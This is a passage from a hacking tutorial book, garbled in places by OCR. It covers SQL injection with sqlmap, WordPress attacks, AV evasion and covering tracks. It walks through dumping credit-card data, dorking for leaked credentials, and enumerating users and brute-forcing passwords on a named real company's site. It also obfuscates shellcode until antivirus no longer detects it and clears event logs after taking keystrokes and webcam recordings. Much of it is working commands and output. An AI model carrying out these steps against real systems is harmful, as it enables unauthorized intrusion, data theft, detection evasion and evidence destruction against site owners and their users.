data=DATA cookie=COOKIE random-agent proxy=PROXY tor check-tor	Data string to be sent through POST (e.g. "id=1") HTTP Cookie header value (e.g. "PHPSESSID=a8d127e") Use randomly selected HTTP User-Agent header value Use a proxy to connect to the target URL Use Tor anonymity network Check to see if Tor is used properly					

Injection: These options can l provide custom inje	be used to specify which parameters to test for, ection payloads and optional tampering scripts					
-p TESTPARAMETER dbms=DBMS	Testable parameter(s) Force back-end DBMS to provided value					
Detection: These options can b	pe used to customize the detection phase					
level=LEVEL risk=RISK	Level of tests to perform (1-5, default 1) Risk of tests to perform (1-3, default 1)					
Techniques: These options can b techniques	be used to tweak testing of specific SQL injection					
technique=TECH SQL injection techniques to use (default "BEUSTQ")						
Enumeration: These options can b management system : tables. Moreover yo	be used to enumerate the back-end database information, structure and data contained in the bu can run your own SQL statements					
-a,all	Retrieve everything					
-b,banner	Retrieve DBMS banner					
current-user	Retrieve DBMS current user					
current-db	Retrieve DBMS current database					
passwords	Enumerate DBMS users password hashes					
tables	Enumerate DBMS database tables					
columns	Enumerate DBMS database table columns					
scnema	Enumerate DBMS schema					
dump	Dump all DRMS databases tables entries					
	DRMS database to enumerate					
	DBMS database to enumerate					
-C COL	DBMS database table column(s) to enumerate					

We can simplify the usage of sqlmap syntax to;

sqlmap -u <URL> <options if any>

If we run this command againt the URL potentially vulnerable to SQL injection that we identified with OWASP-ZAP, we should be able to gather some basic information we need to get started. The

information we need includes; (1) the type of database management system, (2) the operating system, and (3) the version of PHP the developers used on the site.

kali > sqlmap -u "http://www.webscantest.com/datastore/search\_get\_by\_id.php?id="

```
[15:25:25] [INF0] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.7, PHP 5.5.9
back-end DBMS: MySQL >= 5.0
[15:25:25] [INF0] fetched data logged to text files under '/root/.sqlmap/output/www.webscantest.com'
[*] ending @ 15:25:25 /2019-08-11/
```

As you can see above, sqlmap was able to identify the backend database to this site as MySQL version >=5.0, the operating system as Linux Ubuntu, the PHP version as 5.5.9, and the web server as Apache 2.4.7. Not bad for a single command!

#### Identify the Databases within the DBMS

The next step is to try to identify what databases are on this system. A quick note about terminology; MySQL, MS SQL Server, Oracle, postgreSQL, and others are Database Management Systems (DBMS). This is the software that **manages** databases. Databases are created **within** these DBMSs. We now need to identify what databases exist within this database system.

We can identify the databases within this system by simply adding the option -dbs such as:

kali > sqlmap -u "http://www.webscantest.com/datastore/search get by id.php?id=1" dbms



As you can see above, sqlmap identified two databases, information schema, and webscantest. Since information schema is a database used by the DBMS, it's not really of interest to us here, so we'll focus our attention on the webscantest database.

The next step is to find the structure of that database. If we are looking for specific information in the database, we need to find out where it is. We can probably learn that when we enumerate the tables and columns in this database.

```
kali > sqlmap -u
"http://www.webscantest.com/datastore/ search get by id.php?id=1"
--columns -D webscantest
```

When we do so, sqlmap will target the webscantest database and attempt to enumerate the tables and columns in this database.



As we can see above, sqlmap successfully enumerated three tables: (1) accounts, (2) inventory, and (3) orders, complete with column names and datatypes. Not Bad! If we look closely at the orders table, we can see fields there with credit card information (billing\_CC\_number). Let's try to grab that data.

Once we have access to the database, know the name of the database along with tables and columns, we can now begin to dump the data. To do that from the credit card number column in the orders table, we can enter the following command:

```
kali > sqlmap -u
"http://www.webscantest.com/datastore/ search_get_by_id.php?id=1" --dump -C
billing_CC_number -T orders -D webscantest
```

#### Where:

-C billing_CC_number	is the column with the credit card numbers
-T orders	is the table name where the column we want is located
-D webscantest	is the database with the data
[12:53:52] [INFO] fetching entries of column(s) 'billing CC num [12:53:52] [WARLING] something went wrong with full UNION techn [12:53:52] [WARLING] the SQL query provided does not return any [12:53:53] (WARLING) the SQL query provided does not return any [12:53:53] (WARLING) in case of continuous data retrieval probl [12:53:53] [INFO] fetching number of column(s) 'biling CC.numb [12:53:53] [INFO] fetching number of column(s) 'biling CC.numb [12:53:53] [INFO] retrieved:	per' for table 'orders' in database 'webscantest' ique (could be because of limitation on retrieved number of entries). Falling back to partial UNION technique output output ams you are advised to try a switch 'no-cast' or switch 'hex' er' entries for table 'orders' in database 'webscantest' nsider usage of option 'threads' for faster data retrieval

As you can see above, sqlmap was able to extract the data from that column and placed it into our Kali system at /root/.sqlmap/output/www.webscantest.com. Success!

#### **Attacking WordPress Websites**

There are numerous technologies used to build websites and, because of that, the techniques and strategies of attacking them are quite different. How you attack a .NET based website will be quite different from how you would attack a WordPress website (for some generic attack strategies, see the Web App Hacking series at Hackers-Arise).

Many websites are built with what is commonly known as Content Management Systems (CMS). Very often, these CMSs are built on the common LAMP stack of Linux, Apache, MySQL, and PHP. Some of these commonly used CMSs include WordPress, Joomla, Drupal, Ruby on Rails, and several others. At the time of this writing, these are the most common CMSs with their market numbers.

22.6M
1.84M
.6M
.2M
.34M

As you can see, WordPress is the 800-pound gorilla in this category. Not only is WordPress the most popular CMS, but WordPress is also used in nearly 30 percent of all websites on planet Earth!

Since WordPress is so popular and compromises such a large part of the market, it makes some sense to focus our efforts in that area.

#### Finding WordPress-Based Websites

The first step is to find WordPress based websites. There are numerous ways to do this. Among the easiest ways is to use Google Hacking. Remember from Chapter 5, where we used some keywords to find specific data in Google's database. We can do the same here for finding websites built on WordPress.

WordPress has some unique signatures in the URL's that it generates. For instance, you will find the following to be part of most Wordpress sites.

```
wp-content
wp-config
wp-includes
wp-json
wp-login
```

... and many others.

We can use these identifying and unique signature URL to find Wordpress sites with Google dorks such as:

```
inurl:wp-content
inurl:wp-config
inurl:wp-includes
```

...and others.

Let's try the first of these dorks and see how many WordPress sites we can find.

inurl:w	p-content						٩
Q All	🔒 Images	▶ Videos	🖪 Books	<table-cell> Maps</table-cell>	: More	Settings	Tools
About 21	13,000,000 rest	ults <mark>(</mark> 0.30 secor	nds)				

As you can see, Google found 213 million websites with that signature in its URL. That's quite a haul!

Let's get a bit more specific. Let's see how many "hacking" websites are using WordPress. We can refine our Google dork by adding the word "hacking" after the inurl: clause. This will act like a logical AND thereby restricting our output to sites that meet both those criteria.

inurl:wp-content hacking

nurl:w	p-content ha	acking					٩
Q All	🕞 Images	🗉 News	► Videos	Ø Shopping	: More	Settings	Tools

We have successfully narrowed down our search to just 1.9 million sites.

As we saw in Chapter 5, Google dorks can also serve as an exploitation strategy as well, if our dork can find a data leak with passwords. For instance, many WordPress sites automatically make a backup of their database commands and store them on the site. These backups often have passwords stored in plain text. Let's look for one.

inurl:wp-config-backup.txt

This Google dork will seek backup files in WordPress sites. When we run this Google Dork, we find 108 results. Let's click on one.



As you can see, this site leaked its critical data when it made a backup. Next to the first arrow, we see the database name. Next to the second arrow, we find the username, and finally, next to the last arrow, we find the user password!

When people leave their passwords in their websites, the hacking becomes very, very simple.

#### How are WordPress Sites Hacked?

WordPress is made of a core product that enables the developer to add themes and plugins. Although the core WordPress has had a number of serious security issues over the years, the plugins are the most common vector for hacking WordPress sites. These plugins are often developed by small, individual developers and many are not properly vetted for security before being placed on the market. As a result, they are the "low-hanging fruit" of the WordPress ecosystem.

As you can see below, plugins were responsible for over 50 percent of WordPress hacks.



#### WordPress Vulnerabilities

In Chapter 7, we looked at vulnerability scanning of operating systems and applications. Here, let's look at a vulnerability scanner **specific** to WordPress named, wpscan.

wpscan was developed by Sucuri, a security consulting firm specializing in WordPress. This is an excellent tool for finding vulnerabilities in WordPress sites, themes, and plugins. wpscan is built into our Kali, so to start wpscan, we simply enter:

kali > wpscan -h



This command displays wpscan's help screen as seen above. wpscan has numerous options, but we can boil down its syntax to:

wpscan -url <URL>

This syntax enables us to point this tool at any WordPress site and get back a report of its known vulnerabilities. Let's try that.

Earlier, we used Google hacks to find sites built with WordPress. Let's use one of these for our test (choose any of them). To protect the innocent, I will obscure the name of the site, but it is a real website found by our Google hack.

When you run this command, if wpscan prompts you to update its database, enter Y.

kali > wpscan -url <website name>



As you can see above, wpscan began scanning the selected website. First, it identified the technologies used (Apache and PHP/7.0.33). Then it began to look for interesting entries and found /wp-admin/ and wp-admin/admin-ajax.php. If we scan down a bit, we will see that wpscan identifies all the themes and plugins in this WordPress site. If we scan a bit further, we can see it found one vulnerability, a cross-site scripting (XSS) vulnerability in its Custom Contact Forms.



Note that the vulnerability gives us references to the vulnerability websites, wpvulndb.com and <u>www.packetstormsecurity</u>.com. <u>www.wpvulndb.com</u> is owned by the developer of wpscan and is dedicated to just WordPress security.

Let's go to www.packetstormsecurity.com for more information on this vulnerability.



As you see above, www.packetstormsecurity.com first identified this cross-site scripting or XSS vulnerability in this Contact Form back in 2012, but apparently it is still not patched in 2019. If we were on the penetration testing team for this site, our next task would be to test whether this vulnerability actually exists by using the POC, or proof of concept, attack the security researcher outlines in this security alert, as seen below.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request CF
<pre>/wp-admin/options-general.php?page=bb2_options&amp;x=%3C%3CSCRIPT%3Ealert(%22XSS%22);//%3C%3C/SCRIP/c@cbb"&gt;<script>alert(1) </script>ce5abb2ef55T%3E</pre>
H117/1.1 Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:11.0) Gecko/20100101 Firefox/11.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us.en:g=0.5
Accept-Encoding: gzip, deflate
Wordpress_5001688404954039102CDe8366656743=admin%/C1334178029%/C00636ed70e++4d0140848439967931d9; bb2_screener_=1334008049+127.0.0.1;
PHPSESSID=r0pobh14p21uu57ek61pdabr76; wordpress_test_cookie=WP+Cookie+check;
wp-settings-1=widgets_access%3Doff%26uploader%3D127; wp-settings-time-1=1334005698;
wordpress_logged_in_5c016e8f0f95f039102cbe8366c5c7f3=admin%7C1334178029%7C68a0d9df0911bd2b367c681b0981811a

#### **Insecure Information Security Firms**

I always find it a bit amusing how many security firms do a poor job of securing their own websites. Most famously, in 2011, the widely-known and well-regarded US-based information security firm, HBGary,

had its website hacked. HBGary had been attacking the loosely organized hacking group, Anonymous, when Anonymous decided to hack back. Thousands of documents and emails were released on the Web that were both embarrassing to the firm and its clients (many of the most powerful firms in the United States). I'm not sure how their clients felt, but I would be reluctant to pay someone to secure my information who can't secure their own.

We may have a modern-day HBGary in our midst. The information security firm <u>www.cybrary.it</u> has a website built on WordPress. Let's see if their website is secure.

To scan cybrary.it, let's use the standard command as we used above, but let's add another option to enumerate the users. This option will attempt to identify the users with access to update and alter the site, essentially webmaster rights. This option is --enumerate u and we can simply append to our command, such as;

```
kali > wpscan -url https://www.cybrary.it -enumerate u
```



When the command is run, it returns an error that the site is NOT running WordPress. That's curious, as I'm quite certain it is running WordPress.

Sometimes websites have load balancers and DoS protection technologies that limit these types of scans. Fortunately, wpscan has a stealthy mode that sometimes is capable of getting past these protections. Let's try it by adding the option -stealthy at the end of our command.

```
kali > wpscan -url https://www.cybrary.it -enumerate u -stealthy
```

<pre>root@kali-2019:~# wpscanurl https://www.cybrary.itenumerate ustealthy</pre>
WordPress Security Scanner by the WPScan Team
Version 3.4.3
Sponsored by Sucuri - https://sucuri.net ØWPScan
e_m stan_, et ntations), et man_tr, e_ ntation(_
[] UDL https://www.sthrony.it/
(+) Started: Mon Aug 12 4:28:44 2019
Interesting Finding(s):
<pre>[+] https://www.cybrary.it/   Interesting Entries:   - server: nginx</pre>
<pre>  - via: 1.1 b7bda6e7794db75fcc11fe5733aa7ccc.cloudfront.net (CloudFront)   - x-amz-cf-pop: DEN50-C1</pre>
<pre>- x-amz-cf-id: pzczGRUrCLXH-B6XPTYwY1m98YJFC9cvow_B08VwgApqfQxfWoKhqg== - x-amz-cf-id: pzczGRUrCLXH-B6XPTYwY1m98YJFC9cvow_B08VwgApqfQxfWoKhqg==</pre>
Found By: Headers (Fassive Detection)   Confidence: 100%
<pre>[+] https://www.cybrary.it/xmlrpc.php L Found Py: Headers (Passive Detection)</pre>
Confidence: 60%
Confirmed By: Link Tag (Passive Detection), 30% confidence
<pre>- http://codex.wordpress.org/XML-RPC Pinaback API</pre>
- https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner
https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos
<ul> <li>https://www.rapid/.com/db/modules/auxiliary/scanner/http/wordpress_xmtrpc_togin</li> <li>https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access</li> </ul>
[1] WordProce version 4.7.5 identified (Incourse released on 2017.05.16)
Detected By: Rss Generator (Passive Detection)
https://www.cybrary.it/feed/, <generator>https://wordpress.org/?v=4.7.5</generator>
https://www.cybrary.it/comments/teed/, <generator>https://wordpress.org/?v=4.7.5</generator> - https://www.cybrary.it/home/feed/, <generator>https://wordpress.org/?v=4.7.5</generator>
[1] 27 vulnerabilities identified:

As you can see, our scan was able to get past their protections and found twenty-seven vulnerabilities! Furthermore, it was able to detect several users on the system.

[+] Enumerating Users
[i] User(s) Identified:
[+] lpark
| Detected By: Rss Generator (Passive Detection)
[+] Tatianna
| Detected By: Rss Generator (Passive Detection)
[+] angelawood
| Detected By: Rss Generator (Passive Detection)
[+] thorlacher2322
| Detected By: Rss Generator (Passive Detection)

Additionally, wpscan has a brute-force password cracking capability for WordPress sites once the users are identified. This brute-force capability actually bypasses the form (thereby evading some brute-force protection mechanisms) and sends the potential passwords directly to the exposed portion of the website that feeds the passwords back for authentication (xmlrpc). To use the brute force capabilities of his tool, you need to use the -U option, followed by the **username**, and the -P option followed by the **password list** you want to use.

In this case, let's try to brute force the user **lpark** and use our top1000passwords list such as:

```
kali > wpscan -url <u>https://www.cybrary.it</u> -stealthy -U lpark -P
/root/top1000passwords
```



After scanning through and listing the vulnerabilities again, wpscan will begin to attempt to brute force that user.



#### Summary

Web hacking is among the most important risks to the incredible applications and infrastructure that comprise the World Wide Web. There are almost innumerable ways to hack the apps and infrastructure of the Web, and the approach you take will depend upon multiple factors including; the technologies employed by the website, the Web server, or the user.

SQL Injection is one of the most pernicious attacks against websites and certainly the one responsible for the greatest financial losses. Here we were able to fingerprint the database and extract key information using the sqlmap application.

It's important to note that most online databases are no longer vulnerable to this simple attack, but a few still are. For more advanced SQL injection techniques such as blind SQL injection, look for my next book "Getting Started Becoming a Master Hacker 2."

WordPress is the world's most popular CMS for developing websites. Our tool wpscan, is excellent at identifying vulnerabilities of these sites, enumerating users and brute-forcing passwords.

#### Exercises

- 1. Use Google hacking to find potentially vulnerable websites to SQL injection.
- 2. Use OWASP-ZAP to determine if the sites you found in the previous step are vulnerable to SQL injection.
- 3. Use Google hacking to find WordPress sites.
- 4. Use Google hacking to find information leaks in WordPress backups.
- 5. Use wpscan to search for vulnerabilities in the WordPress sites you identified in the previous step.
- 6. When you find vulnerabilities in the site, get more information and possibly the exploit by searching wpvulnsdb.com or packetstormsecurity.com.

# 13

### **Evading AV and Shellcode**

Fools talk. The wise listen.

Master OTW



When exploiting the target as we did in Chapter 9 with Metasploit, you are likely to encounter an anti-virus program running on the target system. It is a rare target that's not protected with an anti-virus application. As such, we need to examine how we might evade such protection.

Often, the best way to avoid AV detection is to use a memory corruption exploit and load the payload directly into memory without

ever writing to the hard drive. This is what we did with the EternalBlue exploit. Unfortunately, that's not always possible with every exploit.

In the past, the msfvenom module of Metasploit from Chapter 9, was capable of creating payloads that could evade AV detection, but the AV developers didn't sit idle. These software companies soon developed techniques for detecting nearly any payload developed by msfvenom, but not all (recently, some advanced persistent threat (APT) malware from a nation-state effectively evaded AV using the shikata\_ga\_nai encoder). This means that to have a reasonable chance of success at evading detection by anti-virus software, we will need to turn to other software to help us re-encode our payloads.

#### **Metasploit's New Evasion Module**

Recognizing the limitations of msfvenom to evade AV detection, the developers of Metasploit began a new project to aid in the evasion of anti-virus. When Rapid7 released Metasploit 5 in October 2018, it contained two new evasion modules. These modules were a departure for Metasploit, as there had not been any new module types in quite a few years.

When the new modules were released, they were very effective at evading Windows Defender in Windows 10. Unfortunately, in the ongoing chess game between attackers and defenders, the folks at Microsoft added detection of these payloads developed by these new modules shortly thereafter. Despite this, we must give kudos to Rapid7 for putting time and effort toward this crucial issue (for more on the new Metasploit evasion modules, read <u>https://www.hackers-arise.com/post/2019/03/27/metasploit-basics-for-hackers-part-24-the-new-evasion-modules-in-metasploit-5</u>)

#### **How Antivirus Software Works**

Before we begin to work toward an undetectable payload, we need to understand how anti-virus software works. Most AV software can detect malicious code by comparing signatures (code snippets and other artifacts) of known malware against software that is entering the system (for more on how antivirus software works, go to <u>https://www.hackers-arise.com/single-post/2016/10/28/Evading-AV-Anatomy-of-ClamAV</u>). Although some software developers have begun to use heuristic techniques (detecting known malicious behavior) this is still not widespread among AV applications as it requires significant CPU cycles to incorporate this approach. The result of using heuristics is slower scanning and system lag.

It is also important to note that not all AV software is created equal. Not every AV application will catch all known malware. VirusBulletin is an independent AV software testing laboratory. According to their results, commercial AV software is capable of detecting between about 60-98 percent of **known** malware. Most of the major AV software developer results are clustered in the 95 percent range. Even with these, 95-percent detection means 1 in 20 known malware will go undetected by these applications. Of course, a zero-day--by definition, unknown malware-- is likely to sail right past **all** of these applications.
Covering the global DULLETIN threat landscape Blog Bulletin VB Ter	Search site
VB2019 London: 2-4 October 2019 • View the VB2019 programme • For any queries about the conference and for partnership opportunities, please contact conference@virusbulletin.com.	VB Conference V82019 LONDON 2-4 October 2019 London, UK REGISTER
	PROGRAMME SPEAKERS PARTNERS
In its 29th year, the annual Virus Bulletin International Conference (VB2019) is one of the most international threat intelligence events of the year, focusing on the sharing of intelligence between researchers and analysts, product managers and CISOs from around the world.	PÉTER SZŐR AWARD FOOSBALL TOURNAMENT
2019 2-4 October 2019	Who attends? • Threat intelligence practitioners • Malware researchers and analysts • IT security managers (including

This perspective is key because to compromise a target, you may not need to be undetectable by ALL AV applications. You only need to be undetected by the target's AV software. If you know what AV software the target is using, you can focus on making your payload undetectable by that application (see my article <a href="https://www.hackers-arise.com/single-post/2016/05/23/How-to-Use-Reconng-to-Determine-the-Targets-AV-Software-1">https://www.hackers-arise.com/single-post/2016/05/23/How-to-Use-Reconng-to-Determine-the-Targets-AV-Software-1</a> on using recon-ng to determine the target's AV software).

#### **Tools for Making Payloads Undetectable**

Among the tools available to create payloads/shellcode capable of going undetected by (AV) software such as veil-evasion (https://www.hackers-arise.com/evading-av-with-veil-evasion) or shellter (https://www.hackers-arise.com/evading-av-with-shellter), OWASP-ZSC (Zero-day ShellCode) may be the most versatile. OWASP-ZSC is a project of OWASP (the venerable Open Web Application Security project of the OWASP Top 10 fame and OWASP-ZAP, among other things), continues under development, but has some useful features not found in some of the other applications in this category. In this chapter, I will attempt to demonstrate some of the most important features of OWASP-ZSC and how they can be used to create shellcode/payloads that will go undetectedby AV software.

#### What is Shellcode?

Shellcode is simply a set of instructions (code) that, when executed into a running application such as SMB (like EternalBlue does) or other vulnerable services, gives the attacker control of the system. This code is written in assembler language (for more on assembler language, see <a href="https://www.hackers-arise.com/single-post/2017/02/27/Reverse-Engineering-Malware-Part-2-Assembler-Language-Basics">https://www.hackers-arise.com/single-post/2017/02/27/Reverse-Engineering-Malware-Part-2-Assembler-Language-Basics</a>). When a stack or heap-based buffer overflow is executed, the shellcode is then injected and often gives the attacker a way to control the target system through such things as a command shell (hence its name).

Whenever new shellcode becomes available, it is incumbent upon the anti-virus software developers (if they want to remain relevant in this industry) to develop a signature or other method to detect the malicious content. As hackers/pentesters, we need to constantly change our shellcode to evade the anti-virus software and remain stealthy and effective. OWASP-ZSC is one more tool we can use to create, encode, and obfuscate our shellcode to remain undetected by the anti-virus software on the target's machine.

Let's take a look at how we can use OWASP-ZSC to build, encode, and obfuscate our shellcode.

#### Download and Install OWASP-ZSC

OWASP-ZSC is not built into Kali, nor is it in the Kali Repository, so we will need to download it from github.com.

kali > git clone https://github.com/zscproject/OWASP-ZSC

root@kali-2019:~# git clone https://github.com/zscproject/OWASP-ZSC Cloning into 'OWASP-ZSC'... remote: Enumerating objects: 2395, done. remote: Total 2395 (delta 0), reused 0 (delta 0), pack-reused 2395 Receiving objects: 100% (2395/2395), 3.29 MiB | 7.30 MiB/s, done. Resolving deltas: 100% (1553/1553), done.

Once we have downloaded OWASP-ZSC to our Kali system, the next step is to install it.

Navigate to the directory of OWASP-ZSC.

kali > cd OWASP-ZSC

Next, we need to execute the installer script that comes with it. Make certain you give yourself execute permission (chmod or see *Linux Basic for Hackers*).

kali > ./installer.py

Once the installer has run, you should see a screen like that above. Note that to uninstall OWASP-ZSC, you simply run the ./uninstaller script. Also, once OWASP-ZSC has been installed, you need only type zsc to start this script.

Let's get started!

kali > zsc



Before we begin using OWASP-ZSC, let's take a look at the help screen. That's ALWAYS a good idea when using a new application.

OWASP ZeroDay Cyber Research Shellcoder zsc> help generate shellcode to generate shellcode search for shellcode in shellstorm download shellcodes from shellstorm m\_list list all shellcodes in shellstorm generate obfuscate code Go back one step clears the screen show help menu check for update about owasp zsc restart the software software version to exit the software insert comment basic interface help

zsc > help

In the screenshot above, you can see that OWASP-ZSC displays all the commands in its help screen. The key commands are the first six, but also note the back, clear, help, and exit commands, which are useful when using OWASP-ZSC.

When we want to generate some shellcode, we simply enter the command, shellcode.

zsc> shellcode

Then, the command, generate.

zsc/shellcode> generate

We then select the platform. In this case, let's select windows\_x86 as most hackers are interested in targeting Windows systems and x86 code will run on either 32- or 64-bit systems.

```
zsc/shellcode/generate>windows x86
```

Next, when we hit the TAB key, OWASP-ZSC will list all the shellcode for that platform.



We can use any of this code, but if we want any chance of evading AV, we will likely need to use different shellcodes than these default ones.

OWASP-ZSC has a built in API (Application Programming Interface, or a way to access the application) to access shellcode at shell-storm.org. Shellstorm is a database of shellcode that you can use. You can view this database at <u>www.shell-storm.org</u>.



Now, instead of using the default shellcode that is likely to be detected by AV, let's generate some evasive shellcode from this database.

Let's return to zsc> prompt using the back command.

As we can see from the help screen at the beginning, we can simply type "shellcode."

zsc > shellcode

If we use the TAB key we will get a list of commands. Within OWASP-ZSC, we can access the <u>www.shell-storm.org</u> database by using the shell\_storm\_list command

```
zsc > shell storm list
```



As you can see above, OWASP-ZSC lists all the shells available in the database grouped by operating system.

If we scan down a bit, we will come to the Windows shellcode. Here you will see #627 or "Windows Seven x64".

Let's try using that one.

[+] id: 899 - Windows/64 - Obfuscated Shellcode x86/x64 Download And Execute [Use PowerShell] - Generator by Ali Razmjoo
[+] id: 898 - Windows/64 - Add Admin, enable RDP, stop firewall and start terminal service - 1218 bytes by Ali Razmjoo
[+] id: 150 - Windows/64 - (URLDownloadToFileA) download and execute - 218+ bytes by Weiss
[+] id: 627 - Windows/64 - Windows Seven x64 (cmd) - 61 bytes by agix 🛛 🗲 🗌
[+] id: 897 - Windows - Add Admin, enable RDP, stop firewall and start terminal service - 1218 bytes by Ali Razmjoo
[+] id: 874 - Windows - Add Admin User Shellcode - 194 bytes by Giuseppe D'Amore
[+] id: 673 - Windows - Safari JS JITed shellcode - exec calc (ASLR/DEP bypass) by Alexey Sintsov
[+] id: 767 - Windows - Vista/7/2008 - download and execute file via reverse DNS channel by Alexey Sintsov
[+] id: 568 - Windows - sp2 (En + Ar) cmd.exe - 23 bytes by AnTi SeCuRe
[+] id: 714 - Windows - add new local administrator - 326 bytes by Anastasios Monachos
[+] id: 715 - Windows - pro sp3 (EN) - add new local administrator 113 bytes by Anastasios Monachos
[+] id: 802 - Windows - xp sp2 PEB ISbeingdebugged shellcode - 56 bytes by Anonymous
[+] id: 526 - Windows - XP Pro Sp2 English Message-Box Shellcode - 16 Bytes by Aodrulez
[+] id: 513 - Windows - XP Pro Sp2 English Wordpad Shellcode - 15 bytes by Aodrulez
[+] id: 681 - Windows - Write-to-file Shellcode by Brett Gervasoni

Alternatively, we could use the search function of OWASP-ZSC to find this shell, or any shell, if we know a keyword in its name. In this case, we might use the keyword "seven."

zsc >search



As you can see, OWASP-ZSC was able to locate the same shellcode and provided us with key information about it (author, ID, platform, and title).

Now that we know what shellcode we want to use, we can use the download command to download the shellcode from shell-storm.org to OWASP-ZSC through the API.

zsc/shellcode/download



OWASP-ZSC then prompts us for the shellcode ID. Simply enter the ID of the shellcode you want to use. In this case, let's use ID **627**.

shellcode id> 627

OWASP-ZSC now downloads this shell and displays it on the screen as you can see above.

The next step is to obfuscate the shellcode. Obfuscation means to make it difficult to understand. In this case, we are trying to make it difficult for a malware analyst—or forensic analyst—to understand the intent and function of the code.

zsc > obfuscate

<pre>zsc&gt; obfuscate zsc/obfuscate&gt; javascript pel zsc/obfuscate&gt; filename&gt; windd oncode&gt;</pre>	rl php javascript ows7shell	python	ruby		
base64 jsfuck encode> simple [+] file "windo zsc>	rot13 simple_ascii _hex_rev ows7shell" encoded s	simple_ simple uccessfully	base64_rev hex !	simple_hex_rev	

When we hit the TAB key, it lists all the obfuscation methods. Let's assume we want this shellcode to work with a browser exploit, so select javascript.

zsc/obfuscate > javascript

Next, OWASP-ZSC prompts us for the filename we want to use for our obfuscated file. I named it windows7shell, but you can name it anything you want.

zsc > windows7shell

The next step then is to encode the shellcode. OWASP-ZSC prompts us with encode >. The idea here is to make it more difficult for the AV application to match anything in this shellcode with its database of known malicious code.

When we hit the TAB key, it lists all the methods available for this shellcode. These encoding methods will differ slightly with different shellcode and obfuscation techniques.

encode> base64 rot13 simple\_base64\_rev simple\_hex\_rev jsfuck simple\_ascii simple\_hex

In this case, we will encode it with jsfuck.

encode > jsfuck

Yes, jsfuck is real encoding scheme. It is seldom used subset of Javascript that is written with just 6 characters ([,],(,),! and +. It can be particularly useful for bypassing web form input validation and obfuscation.

When we hit enter, OWASP-ZSC encodes our shellcode with jsfuck and announces it has completed its task!

encode> base64 jsfuck	rot13 simple_ascii	simple_base64_rev simple_hex	simple_hex_rev
[+] file "windows7	shell" encoded succ	essfully!	

#### **Testing Our Shellcode**

The final step is to test your new shellcode against AV software. If you know what AV software the target is using, simply test it against that one (check out my article on recon-ng to determine the AV the target is using). If not, you can test your new shellcode at VirusTotal (www.virustotal.com). It's important to note that VirusTotal shares your code with the AV developers.

Analyze suspi automatic	Cious files and URLs to detect typ ally share them with the security of	<b>DTAL</b> es of malware, community
FILE Ev submitting voor file to Visua Total voo an	URL	SEARCH

If you don't want your code shared with the AV developers, use www.scanii.com to see how well it evades most commercial AV software.



In this case, I uploaded my encoded and obfuscated window7shell to VirusTotal and got the following results.

DETECTION DETAIL	S RELATIONS BEHAVIOR	COMMUNITY 🚥		
Ad-Aware	⊘ Undetected	AegisLab	⊘ Undetected	
AhnLab-V3	<ul> <li>Undetected</li> </ul>	ALYac	⊘ Undetected	
Antiy-AVL	O Undetected	SecureAge APEX	⊘ Undetected	
Arcabit	O Undetected	Avast	⊘ Undetected	
Avast-Mobile	O Undetected	AVG	O Undetected	
Avira (no cloud)	O Undetected	Baidu	O Undetected	
BitDefender	O Undetected	Bkav	O Undetected	
CAT-QuickHeal	O Undetected	ClamAV	O Undetected	
CMC	O Undetected	Comodo	O Undetected	
Cyren	Undetected	DrWeb	O Undetected	
Emsisoft	O Undetected	eScan	O Undetected	
ESET-NOD32	Undetected	F-Prot	O Undetected	
F-Secure	Undetected	FireEye	O Undetected	
Fortinet	Undetected	GData	Undetected	
Ikarus	<ul> <li>Undetected</li> </ul>	Jiangmin	Undetected	
K7AntiVirus	O Undetected	K7GW	O Undetected	
Kaspersky	Undetected	Kingsoft	O Undetected	
Malwarebytes	O Undetected	MaxSecure	O Undetected	
McAfee	Undetected	McAfee-GW-Edition	O Undetected	

As you can see, we were successful! None of the AV applications detected my obfuscated shellcode!

#### Summary

AV applications detect most malicious payloads and shellcode on the target system. For any chance to remain undetected, you will need to re-encode and obfuscate your shellcode (you can also write your own unique shellcode. I'll show you how in a future book). OWASP-ZSC, by the OWASP Project, is one of the best AV evasion tools. Here we took shellcode from the shellcode database at shell-storm.org, and with some creative encoding and obfuscation, were able to get it past the major AV applications.

Of course, since I sent my shellcode to VirusTotal, it will be reported to all the major AV application developers, and now they will detect it (you are welcome!). To develop your own undetectable payload, you will need to try different combinations of payloads, encoding, and obfuscation. Be creative and persistent—two of the most important attributes of a master hacker!

#### Exercises

- 1. Download and install OWASP-ZSC.
- 2. Select a shellcode from shell-storm.org.
- 3. Obfuscate your shellcode.
- 4. Encode your shellcode.
- 5. Test your shellcode at scanii.com.
- 6. If you know the antivirus application of the target, test your shellcode with it now.
- 7. If your shellcode was detected, start over and try a different approach until your shellcode/payload is undetected.

## 14

## **Covering Your Tracks**

Stars, hide your fires; Let not light see my black and deep desires.

MacBeth



Hackers who want to remain long in this business need to make certain they leave behind little or no trace of evidence. The skilled and vigilant digital forensic investigator can find evidence in many places. In this chapter, we will focus on the log files, file timestamps, and bash command history. If the hacker can clean up the evidence in these three areas, it will be very difficult to trace them. Now that you have exploited the Windows 7 system (Chapter 9) and retrieved the "goodies" such as:

- (1) Password hashes,
- (2) Microphone recordings,
- (3) Webcam recordings,
- (4) Keystrokes entered by the target system, then
- (5) Pivoting from the target system to the entire network.

At this stage, you need to make certain that no evidence is left behind to trace this attack back to you.

A digital forensic investigator is capable of recreating the events on a target system primarily from the log files and timestamps. This means that you need to remove all the log files or selectively remove certain log files that capture your activity. In addition, if you have accessed or modified any files, the timestamps on those files are clear evidence of tampering. Finally, if your system falls into the wrong hands, your command history can be incriminating.

Let's see how you can minimize this evidence and cover your tracks!

#### **Covering Your Tracks with the Meterpreter**

If you were able to plant Metasploit's meterpreter on the target system, clearing log files is relatively simple. Most of the Windows meterpreters have a built-in command known as clearev. This command clears the event logs in Windows systems.

```
meterpreter >clearev
```



In some cases, you may not be able to get a meterpreter on the target system, or the clearev command won't work. In those cases, you can use the wevtutil utility in Windows. If you are using the meterpreter, you will first need to drop into a command shell (cmd) on the target Windows system (if you do not have a meterpreter but rather just a standard Windows command prompt, you can skip this step). You can do this by simply entering shell at the meterpreter prompt.

```
